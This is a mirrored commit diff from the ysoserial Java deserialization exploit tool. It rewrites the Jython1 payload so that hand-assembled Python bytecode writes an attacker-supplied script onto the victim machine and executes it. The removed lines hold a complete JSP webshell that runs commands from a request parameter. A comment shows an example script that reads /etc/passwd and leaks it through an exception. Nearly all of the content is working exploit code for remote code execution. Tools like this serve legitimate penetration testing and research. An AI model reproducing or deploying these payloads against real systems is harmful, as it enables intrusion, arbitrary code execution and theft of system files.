mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
Merge pull request #49 from jacob-baines/jython-general
A more generalized Jython1
This commit is contained in:
@@ -2,11 +2,11 @@ package ysoserial.payloads;
|
|||||||
|
|
||||||
import org.python.core.*;
|
import org.python.core.*;
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.math.BigInteger;
|
import java.math.BigInteger;
|
||||||
import java.lang.reflect.Field;
|
import java.nio.file.Files;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.nio.file.Paths;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
|
import java.util.Arrays;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
@@ -17,6 +17,25 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||||
|
*
|
||||||
|
* This version of Jython1 writes a python script on the victim machine and
|
||||||
|
* executes it. The format of the parameters is:
|
||||||
|
*
|
||||||
|
* <local path>;<remote path>
|
||||||
|
*
|
||||||
|
* Where local path is the python script's location on the attack box and
|
||||||
|
* remote path is the location where the script will be written/executed from.
|
||||||
|
* For example:
|
||||||
|
*
|
||||||
|
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
|
||||||
|
*
|
||||||
|
* In the above example, if "read_etc_passwd.py" simply contained the string:
|
||||||
|
*
|
||||||
|
* raise Exception(open('/etc/passwd', 'r').read())
|
||||||
|
*
|
||||||
|
* Then, when deserialized, the script will read in /etc/passwd and raise an
|
||||||
|
* exception with its contents (which could be useful if the target returns
|
||||||
|
* exception information).
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@PayloadTest(skip="non RCE")
|
@PayloadTest(skip="non RCE")
|
||||||
@@ -24,50 +43,48 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
@Dependencies({ "org.python:jython-standalone:2.5.2" })
|
@Dependencies({ "org.python:jython-standalone:2.5.2" })
|
||||||
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
|
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
public PriorityQueue getObject(String path) throws Exception {
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
String[] paths = command.split(";");
|
||||||
|
if (paths.length != 2) {
|
||||||
|
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
|
||||||
|
}
|
||||||
|
|
||||||
// Set payload parameters
|
// Set payload parameters
|
||||||
String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>\n" +
|
String python_code = new String(Files.readAllBytes(Paths.get(paths[0])));
|
||||||
"<html><body><form method=\"GET\" name=\"myform\" action=\"\">\n" +
|
|
||||||
"<input type=\"text\" name=\"cmd\">\n" +
|
|
||||||
"<input type=\"submit\" value=\"Send\">\n" +
|
|
||||||
"</form>\n" +
|
|
||||||
"<pre>\n" +
|
|
||||||
"<%\n" +
|
|
||||||
"if (request.getParameter(\"cmd\") != null) {\n" +
|
|
||||||
"out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<br>\");\n" +
|
|
||||||
"Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" +
|
|
||||||
"OutputStream os = p.getOutputStream();\n" +
|
|
||||||
"InputStream in = p.getInputStream();\n" +
|
|
||||||
"DataInputStream dis = new DataInputStream(in);\n" +
|
|
||||||
"String disr = dis.readLine();\n" +
|
|
||||||
"while ( disr != null ) {\n" +
|
|
||||||
"out.println(disr);\n" +
|
|
||||||
"disr = dis.readLine();\n" +
|
|
||||||
"}\n" +
|
|
||||||
"}\n" +
|
|
||||||
"%>\n" +
|
|
||||||
"</pre></body></html>";
|
|
||||||
|
|
||||||
// Python bytecode to write a file on disk
|
// Python bytecode to write a file on disk and execute it
|
||||||
String code =
|
String code =
|
||||||
"740000" + // 0 LOAD_GLOBAL 0 (open)
|
"740000" + //0 LOAD_GLOBAL 0 (open)
|
||||||
"640100" + // 3 LOAD_CONST 1 (<PATH>)
|
"640100" + //3 LOAD_CONST 1 (remote path)
|
||||||
"640200" + // 6 LOAD_CONST 2 ('w')
|
"640200" + //6 LOAD_CONST 2 ('w+')
|
||||||
"830200" + // 9 CALL_FUNCTION 2
|
"830200" + //9 CALL_FUNCTION 2
|
||||||
"690100" + // 12 LOAD_ATTR 1 (write) ??
|
"7D0000" + //12 STORE_FAST 0 (file)
|
||||||
"640300" + // 15 LOAD_CONST 3 (<webshell>)
|
|
||||||
"830100" + // 18 CALL_FUNCTION 1
|
"7C0000" + //15 LOAD_FAST 0 (file)
|
||||||
"01" + // 21 POP_TOP
|
"690100" + //18 LOAD_ATTR 1 (write)
|
||||||
"640000" + // 22 LOAD_CONST
|
"640300" + //21 LOAD_CONST 3 (python code)
|
||||||
"53"; // 25 RETURN_VALUE
|
"830100" + //24 CALL_FUNCTION 1
|
||||||
|
"01" + //27 POP_TOP
|
||||||
|
|
||||||
|
"7C0000" + //28 LOAD_FAST 0 (file)
|
||||||
|
"690200" + //31 LOAD_ATTR 2 (close)
|
||||||
|
"830000" + //34 CALL_FUNCTION 0
|
||||||
|
"01" + //37 POP_TOP
|
||||||
|
|
||||||
|
"740300" + //38 LOAD_GLOBAL 3 (execfile)
|
||||||
|
"640100" + //41 LOAD_CONST 1 (remote path)
|
||||||
|
"830100" + //44 CALL_FUNCTION 1
|
||||||
|
"01" + //47 POP_TOP
|
||||||
|
"640000" + //48 LOAD_CONST 0 (None)
|
||||||
|
"53"; //51 RETURN_VALUE
|
||||||
|
|
||||||
// Helping consts and names
|
// Helping consts and names
|
||||||
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)};
|
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
|
||||||
String[] names = new String[]{"open", "write"};
|
String[] names = new String[]{"open", "write", "close", "execfile"};
|
||||||
|
|
||||||
// Generating PyBytecode wrapper for our python bytecode
|
// Generating PyBytecode wrapper for our python bytecode
|
||||||
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, "");
|
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
|
||||||
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
||||||
|
|
||||||
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
||||||
|
|||||||
Reference in New Issue
Block a user